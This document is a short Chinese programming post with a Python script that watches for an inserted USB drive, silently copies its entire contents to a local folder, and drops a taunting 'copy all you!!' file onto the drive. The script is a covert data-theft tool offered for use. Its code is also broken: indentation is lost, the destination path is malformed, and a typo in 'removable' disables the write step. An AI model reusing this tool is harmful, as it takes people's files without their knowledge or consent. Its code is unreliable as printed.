技术要点分析:
1.如何检测有U盘的插入。
2.如何复制U盘里面的东西
3.如果U盘可写,如何写入文件到U盘里面。
# -*- coding: utf-8 -*-
# @Time : 2018/11/1 21:08
# @Author :
# @Email :
# @File : s6.py
# @Software: PyCharm
from time import sleep
from shutil import copytree
from psutil import disk_partitions
while True:
# 设置休眠时间
sleep(1)
# 检测所有的驱动器,进行遍历寻找哦
for item in disk_partitions():
if 'removable' in item.opts:
driver, opts = item.device, item.opts
# 输出可移动驱动器符号
print('发现usb驱动:', driver)
break
# 没有找到可输出驱动器
else:
print('没有找到可移动驱动器')
continue
break
# 复制移动驱动器的根目录
copytree(driver, r'D:usb')
print('copy all')
if opts == 'rw, remoevable':
print('usb ok .....')
with open(driver + 'wring.txt', 'w', encoding='utf8') as fp:
fp.write("copy all you!!")